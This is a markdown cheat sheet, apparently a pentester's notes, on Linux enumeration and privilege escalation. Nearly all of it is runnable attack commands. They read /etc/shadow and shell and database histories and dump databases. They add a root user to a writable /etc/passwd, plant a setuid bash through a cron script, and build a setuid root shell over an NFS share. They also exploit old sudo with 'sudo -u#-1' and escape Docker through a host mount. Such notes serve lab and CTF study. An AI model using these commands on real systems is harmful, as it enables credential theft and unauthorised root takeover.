linux_enumeration_and_privilege_escalation.md

Linux Enumeration and Privilege Escalation

Enumeration

-> Get system distribution and version

cat /etc/*-release

-> Get kernel version

cat /proc/version   
uname -a

-> View variable environments

env
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
cat ~/.zshrc

-> View user command history

cat ~/.bash_history
cat ~/.zsh_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

-> List running processes

ps aux

-> View interfaces and network information

ifconfig
ip addr

-> View all active TCP connections and the TCP and UDP ports the host is listening on.

netstat -ant

-> Get DNS resolver and hosts mapped to an IP

cat /etc/resolv.conf
cat /etc/hosts

-> Get system user, group and password information

cat /etc/passwd
cat /etc/shadow

Extracting database information

PostgreSQL

-> psql terminal as postgres user

su postgres
psql

-> list the databases

\list

-> select the database

\c <database>

-> list the tables

\d

-> dump

select * from <table>;

-> read files

CREATE TABLE demo(t text);
COPY demo from '<filename>';
SELECT * FROM demo;

SQLite

-> access database

sqlite3 <database.db>

-> list the tables

.tables

-> dump

select * from <table>;

MySQL

mysql -u root -h localhost -p

-> list the databases

show databases;

-> select the database

use <database>;

-> list the tables

show tables;

-> dump

SELECT * FROM <table>;

Other Tips

-> Perform code review on web server files (/var/www/html); -> Check log files for credentials;

---

Privilege Escalation

Crontab [PrivEsc]

-> Enumeration

cat /var/log/cron.log                                                                                                                                              
cat /etc/crontab

-> Exploitation

echo "chmod +s /bin/bash" >> script.sh

SUID [PrivEsc]

-> Enumeration

find / -perm -u=s -type f 2>/dev/null

or

id
find / -perm -u=s -type f -group <group> 2>/dev/null

-> Exploitation

• https://gtfobins.github.io/

Capabilities [PrivEsc]

-> Enumeration

getcap -r / 2>/dev/null

-> Exploitation

• https://gtfobins.github.io/

Binary with Sudo [PrivEsc]

sudo -l

or

cat /etc/sudoers

-> Exploitation

• https://gtfobins.github.io/

Run commands as another user with permission through sudo [PrivEsc]

sudo -u <username> <command>

Weak File Permissions / Passwd Writabble [PrivEsc]

-> Enumeration

ls -la /etc/passwd
ls -la /etc/shadow

-> Exploitation

echo "user:$(openssl passwd password123):0:0:root:/root:/usr/bin/bash" >> /etc/passwd

NFS Root Squashing

-> Detection - VM Owned

cat /etc/exports

-> Viewing nfs directories with access - Attacker VM

showmount -e <ip>

-> Get nfs version - Attacker VM

rpcinfo <ip>

-> Mount - Attacker VM

mkdir /tmp/1
mount -o rw,vers=2 <ip>:/<nfs_directory> /tmp/1

-> Creating and compiling file for privesc - Attacker VM

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x

-> Exploitation - VM Owned

/tmp/x
id

sudo < v1.28 - @sickrov [PrivEsc]

sudo -u#-1 /bin/bash

Docker Breakout [PrivEsc]

-> Search the socket

find / -name docker.sock 2>/dev/null

-> list images

docker images

-> Exploitation

docker run -it -v /:/host/ <image>:<tag> chroot /host/ bash

Linux Enumeration Tools [PrivEsc]

-> Linpeas

./linpeas.sh

• https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

-> pspy (unprivileged Linux process snooping)

./pspy64

• https://github.com/DominicBreuker/pspy

-> linux-exploit-suggester

./linux-exploit-suggester.sh

or

./linux-exploit-suiggester.sh --uname <uname-string>

• https://github.com/The-Z-Labs/linux-exploit-suggester

-> Unix Privesc Check

./unix-privesc-check

• https://pentestmonkey.net/tools/audit/unix-privesc-check